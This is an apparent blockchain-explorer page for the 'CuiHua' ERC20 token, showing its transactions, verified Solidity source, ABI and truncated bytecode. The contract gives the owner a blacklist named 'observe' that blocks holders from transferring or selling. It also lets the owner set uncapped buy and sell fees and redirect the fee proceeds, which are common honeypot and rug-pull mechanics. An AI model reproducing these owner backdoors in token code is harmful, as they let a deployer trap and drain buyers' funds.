ETH Price: $1,623.40 (+2.02%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve180044592023-08-27 7:17:11595 days ago1693120631IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0002713811.1915429
Approve178972452023-08-12 7:18:23610 days ago1691824703IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0007556816.26080868
Transfer178972382023-08-12 7:16:59610 days ago1691824619IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0007244415.77427463
Approve178929862023-08-11 16:57:59610 days ago1691773079IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.00102322.01289819
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0006199523.53219569
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0006199523.53219569
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0006199523.53219569
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0006146823.33219569
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0006146823.33219569
Approve178863962023-08-10 18:52:59611 days ago1691693579IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0010789923.33219569
Approve178857882023-08-10 16:49:59611 days ago1691686199IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0013963930.04748001
Approve178857652023-08-10 16:45:23611 days ago1691685923IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0013282428.58097028
Approve178855292023-08-10 15:58:11611 days ago1691683091IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0013269528.55323543
Approve178855072023-08-10 15:53:47611 days ago1691682827IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0013305628.63082302
Approve178854632023-08-10 15:44:59611 days ago1691682299IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0012342726.55897537
Approve178854472023-08-10 15:41:47611 days ago1691682107IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0014613331.44471912
Approve178854402023-08-10 15:40:23611 days ago1691682023IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0015052732.55
Approve178854332023-08-10 15:38:59611 days ago1691681939IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0009741736.57775621
Approve178854332023-08-10 15:38:59611 days ago1691681939IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0008178430.70791826
Approve178854222023-08-10 15:36:35611 days ago1691681795IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0012101626.2024546
Approve178853952023-08-10 15:31:11611 days ago1691681471IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0016023834.65
Approve178853902023-08-10 15:30:11611 days ago1691681411IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0014023830.17629596
Approve178853712023-08-10 15:26:23611 days ago1691681183IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0013932729.98038149
Approve178853142023-08-10 15:14:59611 days ago1691680499IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.0010964241.16785574
Approve178853132023-08-10 15:14:47611 days ago1691680487IN
0xD3D9d6a9...cDbCC9aA5
0 ETH0.001781638.28692738
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 5;
    uint256 public _sellFundFee = 5;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "CuiHua";
        _symbol = "CuiHua";
        _decimals = 18;
        uint256 Supply = 2_000_000_000;
        
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;
        require(_totalSupply < ~uint112(0),"high decimals");

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignTax(
        uint256 newBuyFundFee,
        uint256 newSellFundFee
    ) public onlyOwner{
        _buyFundFee = newBuyFundFee;
        _sellFundFee = newSellFundFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    mapping(address => bool) public _observe;
    function addObserve(address account) public onlyOwner{
        _observe[account] = true;
    }

    function delObserve(address account) public onlyOwner{
        _observe[account] = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        require(!_observe[from],"observe");

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingOpen(),"!trading");
            takeFee = true;
        }

        _transferToken(from, to, amount, takeFee);
    }

    function tradingOpen() public view returns(bool){
        return block.timestamp >= tradingBlock;
    }

    uint256 public tradingBlock = 1691496000;
    function enableTrading(
        uint256 _time
    ) public onlyOwner{
        tradingBlock = _time;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (isMarketPair[recipient]) {
                taxFee = _sellFundFee;
            } else if(isMarketPair[sender]) {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch {}

    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFundFee","type":"uint256"},{"internalType":"uint256","name":"newSellFundFee","type":"uint256"}],"name":"DesignTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_observe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_time","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005600c556005600d556364d22e406010553480156200002357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260068082526543756948756160d01b6020909201918252620000949160049162000417565b506040805180820190915260068082526543756948756160d01b6020909201918252620000c49160059162000417565b506006805460ff19166012179055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b815290516377359400949392849263c45a01559260048083019392829003018186803b1580156200015457600080fd5b505afa15801562000169573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018f9190620004bd565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001dd57600080fd5b505afa158015620001f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002189190620004bd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026157600080fd5b505af115801562000276573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029c9190620004bd565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002eb9160ff169062000536565b620002f79085620005f7565b60088190556001600160701b0311620003465760405162461bcd60e51b815260206004820152600d60248201526c6869676820646563696d616c7360981b604482015260640160405180910390fd5b60085433600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b03928316908117825530600090815260076020526040808220805460ff199081166001908117909255988616835281832080548a168217905533835281832080548a16821790559282528082208054891684179055925490931683529120805490941617909255506200066c915050565b828054620004259062000619565b90600052602060002090601f01602090048101928262000449576000855562000494565b82601f106200046457805160ff191683800117855562000494565b8280016001018555821562000494579182015b828111156200049457825182559160200191906001019062000477565b50620004a2929150620004a6565b5090565b5b80821115620004a25760008155600101620004a7565b600060208284031215620004cf578081fd5b81516001600160a01b0381168114620004e6578182fd5b9392505050565b600181815b808511156200052e57816000190482111562000512576200051262000656565b808516156200052057918102915b93841c9390800290620004f2565b509250929050565b6000620004e660ff8416836000826200055257506001620005f1565b816200056157506000620005f1565b81600181146200057a57600281146200058557620005a5565b6001915050620005f1565b60ff84111562000599576200059962000656565b50506001821b620005f1565b5060208310610133831016604e8410600b8410161715620005ca575081810a620005f1565b620005d68383620004ed565b8060001904821115620005ed57620005ed62000656565b0290505b92915050565b600081600019048311821515161562000614576200061462000656565b500290565b600181811c908216806200062e57607f821691505b602082108114156200065057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6112e4806200067c6000396000f3fe6080604052600436106101bb5760003560e01c8063715018a6116100ec578063cd51e6d41161008a578063e82bef2911610064578063e82bef2914610533578063f0ab32ec14610553578063f2fde38b14610573578063ffb54a991461059357600080fd5b8063cd51e6d4146104c1578063ce0192f9146104d7578063dd62ed3e146104ed57600080fd5b80638da5cb5b116100c65780638da5cb5b1461044e57806395d89b411461046c578063a9059cbb14610481578063c447ba1a146104a157600080fd5b8063715018a6146103f957806382aa7c681461040e578063863587cd1461042e57600080fd5b80633bfe62ca116101595780634bf28fd0116101335780634bf28fd01461034b57806365b61b77146103835780636f39cfcd146103a357806370a08231146103c357600080fd5b80633bfe62ca146102d55780633ecad271146102eb5780634b1abf6f1461031b57600080fd5b806323b872dd1161019557806323b872dd146102415780632741a25114610261578063313ce5671461028357806336b2e027146102a557600080fd5b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105ab565b6040516101e991906110e9565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611085565b61063d565b60405190151581526020016101e9565b34801561022e57600080fd5b506008545b6040519081526020016101e9565b34801561024d57600080fd5b5061021261025c366004611014565b610653565b34801561026d57600080fd5b5061028161027c366004610f9d565b6106ea565b005b34801561028f57600080fd5b5060065460405160ff90911681526020016101e9565b3480156102b157600080fd5b506102126102c0366004610f9d565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610233600d5481565b3480156102f757600080fd5b50610212610306366004610f9d565b600a6020526000908152604090205460ff1681565b34801561032757600080fd5b50610212610336366004610f9d565b600f6020526000908152604090205460ff1681565b34801561035757600080fd5b50600e5461036b906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561038f57600080fd5b5060095461036b906001600160a01b031681565b3480156103af57600080fd5b506102816103be366004610f9d565b61073e565b3480156103cf57600080fd5b506102336103de366004610f9d565b6001600160a01b031660009081526001602052604090205490565b34801561040557600080fd5b5061028161078a565b34801561041a57600080fd5b506102816104293660046110b0565b6107fe565b34801561043a57600080fd5b50610281610449366004611054565b61082d565b34801561045a57600080fd5b506000546001600160a01b031661036b565b34801561047857600080fd5b506101dc610882565b34801561048d57600080fd5b5061021261049c366004611085565b610891565b3480156104ad57600080fd5b506102816104bc3660046110c8565b61089e565b3480156104cd57600080fd5b5061023360105481565b3480156104e357600080fd5b50610233600c5481565b3480156104f957600080fd5b50610233610508366004610fdc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053f57600080fd5b5060035461036b906001600160a01b031681565b34801561055f57600080fd5b5061028161056e366004610f9d565b6108d3565b34801561057f57600080fd5b5061028161058e366004610f9d565b610921565b34801561059f57600080fd5b50601054421015610212565b6060600480546105ba90611245565b80601f01602080910402602001604051908101604052809291908181526020018280546105e690611245565b80156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b5050505050905090565b600061064a3384846109e7565b50600192915050565b6000610660848484610a48565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106e0576001600160a01b03841660009081526002602090815260408083203384529091529020546106bb90839061122e565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461071d5760405162461bcd60e51b81526004016107149061113c565b60405180910390fd5b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146107685760405162461bcd60e51b81526004016107149061113c565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016107149061113c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108285760405162461bcd60e51b81526004016107149061113c565b601055565b6000546001600160a01b031633146108575760405162461bcd60e51b81526004016107149061113c565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600580546105ba90611245565b600061064a338484610a48565b6000546001600160a01b031633146108c85760405162461bcd60e51b81526004016107149061113c565b600c91909155600d55565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016107149061113c565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016107149061113c565b6001600160a01b03811661098c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610714565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610aa45760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610714565b6001600160a01b0383166000908152600a602052604081205460ff168015610acf5750600b5460ff16155b8015610af457506001600160a01b03851660009081526007602052604090205460ff16155b8015610b1957506001600160a01b03841660009081526007602052604090205460ff16155b15610b5357306000908152600160205260409020548015610b515783818111610b425780610b44565b815b9050610b4f81610c50565b505b505b6001600160a01b0385166000908152600f602052604090205460ff1615610ba65760405162461bcd60e51b81526020600482015260076024820152666f62736572766560c81b6044820152606401610714565b6001600160a01b03851660009081526007602052604090205460ff16158015610be857506001600160a01b03841660009081526007602052604090205460ff16155b8015610bf75750600b5460ff16155b15610c3d57601054421015610c395760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b6044820152606401610714565b5060015b610c4985858584610dd3565b5050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ca057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610cf457600080fd5b505afa158015610d08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2c9190610fc0565b81600181518110610d4d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d999287926000928892909116904290600401611167565b600060405180830381600087803b158015610db357600080fd5b505af1925050508015610dc4575060015b505050600b805460ff19169055565b6001600160a01b038416600090815260016020526040902054610df790839061122e565b6001600160a01b0385166000908152600160205260408120919091558115610f0e576001600160a01b0384166000908152600a602052604081205460ff1615610e435750600d54610e69565b6001600160a01b0386166000908152600a602052604090205460ff1615610e695750600c545b60006064610e77838761120f565b610e8191906111ef565b90508015610f0b57610e9381846111d7565b30600090815260016020526040902054909350610eb19082906111d7565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f029085815260200190565b60405180910390a35b50505b610f18818461122e565b6001600160a01b038516600090815260016020526040902054610f3b91906111d7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f85848761122e565b60405190815260200160405180910390a35050505050565b600060208284031215610fae578081fd5b8135610fb981611296565b9392505050565b600060208284031215610fd1578081fd5b8151610fb981611296565b60008060408385031215610fee578081fd5b8235610ff981611296565b9150602083013561100981611296565b809150509250929050565b600080600060608486031215611028578081fd5b833561103381611296565b9250602084013561104381611296565b929592945050506040919091013590565b60008060408385031215611066578182fd5b823561107181611296565b915060208301358015158114611009578182fd5b60008060408385031215611097578182fd5b82356110a281611296565b946020939093013593505050565b6000602082840312156110c1578081fd5b5035919050565b600080604083850312156110da578182fd5b50508035926020909101359150565b6000602080835283518082850152825b81811015611115578581018301518582016040015282016110f9565b818111156111265783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156111b65784516001600160a01b031683529383019391830191600101611191565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156111ea576111ea611280565b500190565b60008261120a57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561122957611229611280565b500290565b60008282101561124057611240611280565b500390565b600181811c9082168061125957607f821691505b6020821081141561127a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146112ab57600080fd5b5056fea2646970667358221220bea1485d2d0f2ea37f570636f9110661aae9d4e068cb5869f6a26b825dad0d1364736f6c63430008040033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063cd51e6d41161008a578063e82bef2911610064578063e82bef2914610533578063f0ab32ec14610553578063f2fde38b14610573578063ffb54a991461059357600080fd5b8063cd51e6d4146104c1578063ce0192f9146104d7578063dd62ed3e146104ed57600080fd5b80638da5cb5b116100c65780638da5cb5b1461044e57806395d89b411461046c578063a9059cbb14610481578063c447ba1a146104a157600080fd5b8063715018a6146103f957806382aa7c681461040e578063863587cd1461042e57600080fd5b80633bfe62ca116101595780634bf28fd0116101335780634bf28fd01461034b57806365b61b77146103835780636f39cfcd146103a357806370a08231146103c357600080fd5b80633bfe62ca146102d55780633ecad271146102eb5780634b1abf6f1461031b57600080fd5b806323b872dd1161019557806323b872dd146102415780632741a25114610261578063313ce5671461028357806336b2e027146102a557600080fd5b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105ab565b6040516101e991906110e9565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611085565b61063d565b60405190151581526020016101e9565b34801561022e57600080fd5b506008545b6040519081526020016101e9565b34801561024d57600080fd5b5061021261025c366004611014565b610653565b34801561026d57600080fd5b5061028161027c366004610f9d565b6106ea565b005b34801561028f57600080fd5b5060065460405160ff90911681526020016101e9565b3480156102b157600080fd5b506102126102c0366004610f9d565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610233600d5481565b3480156102f757600080fd5b50610212610306366004610f9d565b600a6020526000908152604090205460ff1681565b34801561032757600080fd5b50610212610336366004610f9d565b600f6020526000908152604090205460ff1681565b34801561035757600080fd5b50600e5461036b906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561038f57600080fd5b5060095461036b906001600160a01b031681565b3480156103af57600080fd5b506102816103be366004610f9d565b61073e565b3480156103cf57600080fd5b506102336103de366004610f9d565b6001600160a01b031660009081526001602052604090205490565b34801561040557600080fd5b5061028161078a565b34801561041a57600080fd5b506102816104293660046110b0565b6107fe565b34801561043a57600080fd5b50610281610449366004611054565b61082d565b34801561045a57600080fd5b506000546001600160a01b031661036b565b34801561047857600080fd5b506101dc610882565b34801561048d57600080fd5b5061021261049c366004611085565b610891565b3480156104ad57600080fd5b506102816104bc3660046110c8565b61089e565b3480156104cd57600080fd5b5061023360105481565b3480156104e357600080fd5b50610233600c5481565b3480156104f957600080fd5b50610233610508366004610fdc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561053f57600080fd5b5060035461036b906001600160a01b031681565b34801561055f57600080fd5b5061028161056e366004610f9d565b6108d3565b34801561057f57600080fd5b5061028161058e366004610f9d565b610921565b34801561059f57600080fd5b50601054421015610212565b6060600480546105ba90611245565b80601f01602080910402602001604051908101604052809291908181526020018280546105e690611245565b80156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b5050505050905090565b600061064a3384846109e7565b50600192915050565b6000610660848484610a48565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106e0576001600160a01b03841660009081526002602090815260408083203384529091529020546106bb90839061122e565b6001600160a0